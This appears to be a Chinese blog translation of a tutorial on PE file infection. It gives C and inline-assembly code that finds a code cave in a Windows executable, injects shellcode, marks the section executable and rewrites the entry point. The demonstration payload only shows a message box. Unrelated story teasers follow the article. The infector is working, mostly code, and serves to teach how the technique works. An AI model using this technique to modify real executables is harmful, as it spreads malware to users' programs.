翻译:PE File Infection(程序实现)

链接:https://0x00sec.org/t/pe-file-infection/401
由于PE文件中每节的内容是按规律排列的,因此节与节之间会有空隙存在,因此可以将我们的代码(shell code)插入这些空隙(code cave)中。

code cave

程序运行示意图

程序流程如下:

  1. 以可读写方式打开文件
  2. 提取PE文件信息
  3. 找一个大小合适的code cave
  4. 根据目标修正shellcode的一些信息(如调用函数的地址)
  5. 需要额外数据来使shellcode工作(重定位)
  6. shellcode注入程序中并修改entry point
1.打开文件

首先,我们需要使用具有读取和写入访问权限的CreateFile函数获取文件的句柄,以便我们能够从文件读取数据并将数据写入文件。 我们还需要获取任务的文件大小。
CreateFileMapping函数创建映射的句柄。 我们指定读写权限(与CreateFile相同),还要指定要使映射的最大大小,即文件的大小。获取文件映射的句柄后,我们可以创建映射本身。MapViewOfFile函数将文件映射到我们的内存空间,并返回一个指向映射文件开头的指针,即文件的开头。 这里我们将返回值转换为与无符号字符值相同的字节的指针。

    if (argc < 2) {
        fprintf(stderr, "Usage: %s <TARGET FILE>\n", argv[0]);
        return 1;
    }
    HANDLE hFile = CreateFile(argv[1], FILE_READ_ACCESS | FILE_WRITE_ACCESS, 
                        0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);//提取文件句柄
    DWORD dwFileSize = GetFileSize(hFile, NULL);//得到文件大小
    HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwFileSize, NULL);//创建`filemapping`的句柄,大小设置为原文件大小
    LPBYTE lpFile = (LPBYTE)MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, dwFileSize);//将该`filemapping`装入内存,返回指向开头的指针
2.提取PE文件信息

我们要求目标文件是合法的PE文件,因此需要验证MZ和PE\0\0签名。
一旦我们验证并且目标文件适合感染,我们需要获得原始入口点(OEP),以便在shellcode完成执行后我们可以跳回它。 在这里,我们还通过从头开始减去shellcode的结尾来计算shellcode的大小。

    // check if valid pe file
    if (VerifyDOS(GetDosHeader(lpFile)) == FALSE ||
        VerifyPE(GetPeHeader(lpFile)) == FALSE) {
        fprintf(stderr, "Not a valid PE file\n");
        return 1;
    }
    PIMAGE_NT_HEADERS pinh = GetPeHeader(lpFile);//文件头
    PIMAGE_SECTION_HEADER pish = GetLastSectionHeader(lpFile);//最后一节的起始处
    // 得到原始的entry point(OEP)
    DWORD dwOEP = pinh->OptionalHeader.AddressOfEntryPoint + 
                    pinh->OptionalHeader.ImageBase;//可用cff explorer验证
    DWORD dwShellcodeSize = (DWORD)ShellcodeEnd - (DWORD)ShellcodeStart;//计算shellcode大小,shellcode是调用messagebox的汇编代码
3. 找一个大小合适的code cave

我们从之前的代码部分获得了pish,它是一个指向最后一个部分头部的指针。使用头信息,我们可以计算指向该部分代码开头的起始位置dwPosition,将使用文件dwFileSize的大小作为停止条件读取文件的末尾。
我们创建了一个循环,从段的开始到结束(文件结尾),每当我们遇到一个空字节时,我们将增加dwCount变量,否则重置。如果存在不是空字节的字节,则返回值。如果dwCount达到shellcode的大小,我们将找到一个可以容纳它的code cave。然后我们需要用shellcode的大小来减去dwPosition,因为我们需要得到code cave开始的偏移位置。如果由于某些原因我们无法找到code cavedwCount应该是大小为0,如果循环无法启动,dwPosition也将为0。

    DWORD dwCount = 0;
    DWORD dwPosition = 0;
    for (dwPosition = pish->PointerToRawData; dwPosition < dwFileSize; dwPosition++) //从最后一节的起始处开始找
    {
        if (*(lpFile + dwPosition) == 0x00) {//空白处是否足够大
            if (dwCount++ == dwShellcodeSize) {
                //dwPosition指向code cave的起始处
                dwPosition -= dwShellcodeSize;
                break;
            }
        } else {
            //如果没有找到足够大小则重新计数
            dwCount = 0;
        }
    }
    //所有节都不合适
    if (dwCount == 0 || dwPosition == 0) {
        return 1;
    }
4. 根据目标修正shellcode的一些信息

shellcode即注入代码,即调用Messagebox的汇编语言。它从pushad开始,这是一个将所有寄存器推送到堆栈的指令,我们需要这样做来保存为程序运行而设置的进程的上下文。 一旦处理完毕,我们就可以执行我们的例程。
在程序运行完成之后,我们用popad恢复寄存器值,推送OEP的地址并返回,有效地跳回到原始入口点,以便程序可以正常运行。
注意应当应__declspec(naked)函数,确保编译器不会对该代码进行优化,否则会找不到我们用作标记的0xAAAAAAAA地址。
shellcode的内容:

#define db(x) __asm _emit x
__declspec(naked) ShellcodeStart(VOID) {
    __asm {
            pushad     //首先保存所有寄存器的值
            call    routine
        routine:
            pop     ebp       //保存返回地址
            sub     ebp, offset routine
            push    0                                // MB_OK
            lea     eax, [ebp + szCaption]
            push    eax                              // lpCaption
            lea     eax, [ebp + szText]
            push    eax                              // lpText
            push    0                                // hWnd
            mov     eax, 0xAAAAAAAA
            call    eax                              // MessageBoxA
            popad
            push    0xAAAAAAAA                       // OEP
            ret
        szCaption:
            db('d') db('T') db('m') db(' ') db('W') db('u') db('Z') db(' ')
            db('h') db('3') db('r') db('e') db(0)
        szText :
            db('H') db('a') db('X') db('X') db('0') db('r') db('3') db('d')
            db(' ') db('b') db('y') db(' ') db('d') db('T') db('m') db(0)
    }
}
VOID ShellcodeEnd() {
}

因此,我们将需要在User32.DLL中找到的功能MessageBoxA的地址。 首先,我们需要一个使用LoadLibrary函数得到User32.DLL的句柄。 然后,我们将使用GetProcAddress的句柄来检索该函数的地址。 一旦得到它,我们可以将地址复制到shellcode中,以便它可以调用MessageBoxA函数。

    // 获得user32.dll的地址
    HMODULE hModule = LoadLibrary("user32.dll");
    LPVOID lpAddress = GetProcAddress(hModule, "MessageBoxA");

    // 创建一个足够容纳shellcode的缓冲区
    HANDLE hHeap = HeapCreate(0, 0, dwShellcodeSize);
    LPVOID lpHeap = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwShellcodeSize);

    // 将shellcode放入缓冲区
    memcpy(lpHeap, ShellcodeStart, dwShellcodeSize);
5. 需要更多的信息来使shellcode工作(重定位)

由于shellcode将被放在另一个程序的内存中,我们无法控制这个地址在哪里,因此需要重定位来动态计算地址:
当例程被调用时,会立即将返回地址pop ebp(这是例程的地址)弹出到基指针寄存器中。然后用例程的地址减去基指针寄存器的值,最终导致0。我们可以通过简单地将它们的地址添加到基指针寄存器来计算字符串变量szCaptionszText的地址,然后将MessageBoxA的参数推送到堆栈上,调用该函数。

    // 修改函数的地址的偏移
    DWORD dwIncrementor = 0;
    for (; dwIncrementor < dwShellcodeSize; dwIncrementor++) {
        if (*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA) {//AAAAAAAA是刚才标记的需要修改的地址
            // 插入函数地址
            *((LPDWORD)lpHeap + dwIncrementor) = (DWORD)lpAddress;
            FreeLibrary(hModule);
            break;
        }
    }

    // 修改OEP偏移(entry point)
    for (; dwIncrementor < dwShellcodeSize; dwIncrementor++) {
        if (*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA) {
            // 两个AAAAAAAA都需要修改
            *((LPDWORD)lpHeap + dwIncrementor) = dwOEP;
            break;
        }
    }
6. 将shellcode注入程序中并修改entry point

已经得到了完整的shellcode,我们可以使用memcpy将其注入到映射文件中。 鉴于我们用dwPosition保存了code cave的偏移量,使用它来从lpFile指向的文件的开头计算它。 我们只需复制shellcode缓冲区的大小。
另外需要更新头文件中的一些值。 部分VirtualSize需要更改以包括shellcode的大小。并让该部分可执行。最后,AddressOfEntryPoint需要指向shellcode隐藏的code cave的开头。

    // 将shellcode装入code cave
    memcpy((LPBYTE)(lpFile + dwPosition), lpHeap, dwShellcodeSize);
    HeapFree(hHeap, 0, lpHeap);
    HeapDestroy(hHeap);

    // 更新PE的信息
    pish->Misc.VirtualSize += dwShellcodeSize;
    // 让该节可执行
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    // 设置entry point
    // RVA = file offset + virtual offset - raw offset
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
   return 0;//程序结束

试错无数次之后终于把程序运行起来了qwq,之前出错的状况是:将shellcode装入缓冲区之后,*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA出错,找不到 0xAAAAAAAA这个值。说明即使是用__declspec(naked)还是改变了汇编。
解决方案仍然是随手百度得到的:http://blog.jobbole.com/52819/
为了确保能生成可用作shellcode这样特定格式的代码,需要设置:

1、使用Release模式。近来编译器的Debug模式可能产生逆序的函数,并且会插入许多与位置相关的调用。


x86模式的release

2、禁用优化。编译器会默认优化那些没有使用的函数,而那可能正是我们所需要的。


禁用优化

3、禁用栈缓冲区安全检查(/Gs)。在函数头尾所调用的栈检查函数,存在于二进制文件的某个特定位置,导致输出的函数不能重定位,这对shellcode是无意义的。
禁用安全检查

在进行以上配置后,会出现const.char类型形参与LPWSTR类型的实参不兼容等类似报错,即使将字符集改成使用多字节字符集仍然报错。

报错

解决方案:将 char*类型的szStr转换成WCHARLPWSTR)类型:

char* szStr = "C://Users/yingtaomj/Desktop/putty.exe";
    WCHAR wszClassName[256];
    memset(wszClassName, 0, sizeof(wszClassName));
    MultiByteToWideChar(CP_ACP, 0, szStr, strlen(szStr) + 1, wszClassName,
        sizeof(wszClassName) / sizeof(wszClassName[0]));

效果如图:


首先弹出

再弹出

完整代码见:https://github.com/yingtaomj/PE-file-infection

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,980评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,178评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,868评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,498评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,492评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,521评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,910评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,569评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,793评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,559评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,639评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,342评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,931评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,904评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,144评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,833评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,350评论 2 342

推荐阅读更多精彩内容